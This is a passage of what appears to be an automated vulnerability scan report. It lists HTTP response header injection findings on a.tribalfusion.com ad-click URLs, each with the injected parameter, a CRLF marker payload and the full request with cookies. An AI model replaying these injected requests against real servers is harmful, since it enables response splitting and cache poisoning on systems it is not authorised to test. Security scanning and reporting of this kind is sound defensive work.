GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r;a=de792%0d%0adb8b6b2f830&vehicle=altima&dcp=zmm.57350078.&dcc=40424790.233402132 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the dcc request parameter is copied into the Location response header. The payload b2393%0d%0a04e19a6bbd5 was submitted in the dcc parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=altima&dcp=zmm.57350078.&dcc=b2393%0d%0a04e19a6bbd5 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the dcp request parameter is copied into the Location response header. The payload 5c9bc%0d%0ab7d0a7d3b63 was submitted in the dcp parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=altima&dcp=5c9bc%0d%0ab7d0a7d3b63&dcc=40424790.233402132 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
3.114. http://a.tribalfusion.com/h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 3e6ac%0d%0a9377000351 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r?3e6ac%0d%0a9377000351=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
The value of the vehicle request parameter is copied into the Location response header. The payload b3f74%0d%0a884d93094bb was submitted in the vehicle parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aimNQCWdQ3UrnX3rAqWTjmWTQ8QqrLQVYJQFZaoPHv7WGQV4U6tnWZaoXEmv4dnZbPcJH4mJZbotTnUdBbYrY81UBl1TqoPbYETFBYTtYYoFfxQrMr1E3s4EUk5aM2ma7IYrJgUtFRnm3LpGfnpWrF5qnf2WAr3AvMnW8PL9/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=b3f74%0d%0a884d93094bb&dcp=zmm.57350078.&dcc=40424790.233402132 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=ahngURm5abw6yuoZbUfT4fqUDUD2sYQZdDZaWW5gcyxDyPZavxFaFVwPjCxqed38T6fqg6FLfVUSwNqICgoRmBXnHiAq9ZcS0BZaVihw22E0xs1PodZbnMcta9SY0g8MClDKjZcsMHytYQ4dxK0ZbIabI7D37Za1xZaS8gafiZacV6DntAj3ZbHHbmmnB4K6nnAI53IZaj44LMerpZdtZaATdejJZbrFZcxbCdqLPaqpPnUSUOvusZckYNaUlZbAZd13LYq0XNkZaALQPuyuqyE9Qnf0dsrmIUmZcnAWwyKCv0CYL8Zb010VvSPKDuH8ruSHXCovdK5pZbKPbbZckIOHeUQiPuO1SgcPN8vQ6wZb9B0jBswZcaaDUhSTwoguVXFgVcERQ6i1uVhI8EZdDbWxKBJKZaCZdQZaBNfFXDIpWfCp8bvsDO8rsnsKj1OF58C3ZbrQj0TKDY2ReHZc0u36I5jeCTtCSL3C0dLlwpvNq4dnuG;
3.116. http://a.tribalfusion.com/h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 26972%0d%0a53a2f8f14bb was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/?26972%0d%0a53a2f8f14bb=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the ord request parameter is copied into the Location response header. The payload 289df%0d%0af5f35e76bbb was submitted in the ord parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/;ord=289df%0d%0af5f35e76bbb HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is copied into the Location response header. The payload c44f8%0d%0a5a08a3ec162 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/c44f8%0d%0a5a08a3ec162/pixel.quantserve.com/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 4 is copied into the Location response header. The payload e3bb1%0d%0a8e9ee6e06df was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/e3bb1%0d%0a8e9ee6e06df/r HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 5 is copied into the Location response header. The payload 558f5%0d%0a3e39ab254d8 was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/558f5%0d%0a3e39ab254d8 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the a request parameter is copied into the Location response header. The payload dca0d%0d%0a172d6a83c62 was submitted in the a parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r;a=dca0d%0d%0a172d6a83c62&vehicle=versa-hatchback&dcp=zmm.50658498.&dcc=39942763.226884546 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the dcc request parameter is copied into the Location response header. The payload 3a2f2%0d%0a19a38b62d09 was submitted in the dcc parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=versa-hatchback&dcp=zmm.50658498.&dcc=3a2f2%0d%0a19a38b62d09 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the dcp request parameter is copied into the Location response header. The payload e956a%0d%0a58d4acea581 was submitted in the dcp parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=versa-hatchback&dcp=e956a%0d%0a58d4acea581&dcc=39942763.226884546 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.124. http://a.tribalfusion.com/h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload d90e5%0d%0a5824a831334 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r?d90e5%0d%0a5824a831334=1 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the vehicle request parameter is copied into the Location response header. The payload 2947d%0d%0a05ef6ceb7f1 was submitted in the vehicle parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/atmNYDUVn54FTpmHuqXTew3tnCSVBC2mBZapWitVWJcXr3dYFYf1TEOSFUCUUB0TdMXmFBxPFjqXqZbm5TJh5q7XnTBIXFU7UdFXmPfJmVjqmH3L3qZbh3dIN5PJZbmbvZd0GvQ1VYX0VFynEv23bMWWFMBWAUXPqbQ3UQGvC5voK/http:/pixel.quantserve.com/r;a=p-5aa_ooycXTWzY;labels=_click.adserver.doubleclick*http://local.nissanusa.com/zip.aspx?regionalZipCode=null&vehicle=2947d%0d%0a05ef6ceb7f1&dcp=zmm.50658498.&dcc=39942763.226884546 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
